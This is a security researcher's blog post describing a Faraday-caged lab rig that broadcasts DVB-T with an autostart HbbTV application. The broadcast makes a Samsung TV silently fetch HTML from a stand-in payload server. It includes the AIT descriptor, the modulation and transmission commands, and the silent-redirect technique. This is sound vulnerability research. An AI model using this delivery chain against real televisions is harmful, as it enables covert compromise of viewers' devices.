Part 2 of the HbbTV notes from the lab series. The first post described what HbbTV is and why I am interested in it. This one describes the bench.
The bench I have built for this work is, I want to stress at the top, entirely indoors and entirely inside a Faraday cage. I am genuinely not interested in finding out what Ofcom does to people who broadcast DVB on licensed UHF frequencies without paperwork, and you should not be interested in finding out either. The licensing bit is not optional. If the only thing you take from this post is "do not transmit DVB into open air in the UK", I will consider that a win.
That said, the rig is not expensive, and it is not complicated. Building it gave me a good intuition for what an attacker would have to do, and a useful answer to can a hobbyist actually do this? — which, as far as I can tell, is yes.
The shopping list
- A target TV. A 2020-vintage Samsung Q60T, bought second-hand on eBay for £210. I picked Samsung because the published rooting work — the Synacktiv GreHack 2021 piece on Samsung Q60T — gives a known-good privilege-escalation chain to skip past SMACK once you have RCE in the browser. There are equivalents on LG and Sony but they are less well-documented in 2021.
- A software-defined radio. I am using a HackRF One for the first round of work and a USRP B210 when I need a wider bandwidth. The HackRF is fine for single-channel DVB-T at 8 MHz; the USRP is better when you want to model a fuller multiplex.
- A wideband UHF antenna and 50 dB attenuators. The antenna is a standard log-periodic. The attenuators are because the TV is six inches away and if you don't crank the signal down you will saturate the tuner.
- A Faraday enclosure. I am using a steel-mesh fabric tent on a frame, the kind sold as RF screened rooms for testing 5G handsets. It attenuates by about 60 dB across the UHF band, which is enough that the HackRF inside it produces no measurable signal outside it on a spectrum analyser.
- A Linux laptop running
tsduck,ffmpeg,dvb-t-radiofromosmo-fl2k, and the GNU Radio toolchain. - An nginx VPS to serve the HTML payloads I want the TV to fetch. (In real attack scenarios the payload could be carouselled in the broadcast itself, but for testing I am keeping the broadcast small and using IP-fetch for the payload — see below.)
Total spend, including the TV: a little over £2,000. A real attacker willing to make do with shorter range and lower bandwidth could come in below £1,000 by skipping the USRP and the screened tent (because they wouldn't be operating inside a screened tent — they'd be in a van).
Building the broadcast
The MPEG-TS that the TV receives needs three things in it:
1. A regular video/audio elementary stream — almost any encoded H.264 will do, the TV does not actually care what's in the video, only that there's something to lock onto. 2. A PMT (Program Map Table) and PAT (Program Allocation Table) describing the multiplex. 3. An AIT descriptor pointing at the HbbTV application.
tsduck makes the first two trivial. The third is the interesting bit. The AIT structure is defined in TS 102 809 (the broader application-signalling spec). The relevant binary layout is small enough to assemble by hand if you want — I am using a short Python script to build the AIT and tsduck's tsp -P inject to splice it into the muxed transport stream every 200 ms.
The application descriptor inside my AIT looks roughly like this:
AIT {
application_id : 0x0001
organisation_id : 0xCAFEBABE
control_code : AUTOSTART
application_type : 0x0010 (HbbTV)
transport_protocol : HTTP
base_url : http://payload-vps.example/
initial_path : index.html
}
AUTOSTART is the operative word. It tells the TV to launch the application the moment it locks the channel, without waiting for a user keypress. Once the AIT is broadcast, every TV in earshot that is tuned to this multiplex will fetch http://payload-vps.example/index.html and hand it to its embedded browser.
The index.html I am serving is a near-direct lift of the published HbbTV "Supercool Little App" reference template — oipfApplicationManager object, hbbtvlib.js init, the lot — with a single substitution: instead of waiting for VK_RED, it sets document.location.href to a second URL inside window.onload. The browser fetches that URL in the background. The user sees nothing on screen — the corporate noticeboard rendering continues. The browser is now sitting on http://payload-vps.example/runme.html, which is the page from which all the actually-interesting work starts. That is the subject of Part 3.
Modulating it
tsduck produces a clean MPEG-TS file on disk. To get from that to RF, I am using dvb-t-radio from osmo-fl2k to generate a DVB-T baseband, and the HackRF One to up-convert and transmit on UHF channel 22 (482 MHz, an arbitrary choice — pick something not in use in your jurisdiction and not within the screened tent's escape band, which is to say, pick something that doesn't matter).
# Generate DVB-T baseband
dvb-t-radio -f 482000000 -b 8000000 -m QAM64 -c 2/3 \
-g 1/8 -i stream.ts -o stream.iq
# Transmit via HackRF
hackrf_transfer -t stream.iq -f 482000000 -s 8000000 -x 14
The -x 14 is the transmitter gain in dB. With the antenna and attenuators in place, the in-cage signal strength at the TV is about -45 dBm — which is comfortably above the threshold the TV needs to lock, and several orders of magnitude weaker than what any real broadcaster outputs. Outside the cage, on a calibrated spectrum analyser at five feet, the signal is below the noise floor.
What it looks like from the TV
The first time I powered the TV on inside the cage with the HackRF transmitting, the TV picked the channel up on auto-tune as if it were a normal terrestrial broadcast. The video frame the TV decoded was a single H.264 still I had encoded — the Hedgehog Security logo, because I needed a placeholder, not because anybody at Hedgehog asked me to. (Sorry, marketing.)
The browser instance the TV span up was visible only on nginx's access log on my payload VPS:
192.0.2.x - - [19/Jun/2021:14:11:09 +0000] "GET /index.html HTTP/1.1" 200 1402
192.0.2.x - - [19/Jun/2021:14:11:09 +0000] "GET /js/hbbtvlib.js HTTP/1.1" 200 4118
192.0.2.x - - [19/Jun/2021:14:11:09 +0000] "GET /runme.html HTTP/1.1" 200 312
No keypress. No on-screen flicker. No notification. The TV believed it was doing a normal HbbTV application load, because it was.
The user-facing display continued to show what the corporate-messaging stream wanted it to show. The browser was elsewhere.
The legal bit, again
I cannot emphasise this enough: this whole rig is legal only because the Faraday enclosure means no signal escapes. The moment a DVB-T transmitter goes on the air in the UK without a licence, Ofcom can — and does — locate it with direction-finding and prosecute under the Wireless Telegraphy Act 2006. The fines start at £5,000 and the criminal record sticks. If you want to do this work, do it in a cage or on a dummy load.
If you are at a university with a screened room and a research licence: that is the route. If you are at home: a fabric cage costs about £450 and a tabletop one about £180.
What I have working at the end of this session
- A reproducible bench that takes a normal MPEG-TS file, adds an AIT pointing at my payload server, modulates it as DVB-T, transmits it inside a screened enclosure, and gets a Samsung Q60T to silently fetch arbitrary HTML.
- A
Makefilethat turns the whole pipeline into a singlemake broadcasttarget so I can iterate on payloads without re-typing the modulator commands. - A nagging feeling that this is not nearly as hard as it should be.
The next post is the part most readers came for: getting from "browser fetches my HTML" to "I have a shell on the TV". That is largely a matter of knowing which V8 bug is going to be unpatched on this generation of TV, and not having to look very hard.
Next post: the exploitation chain.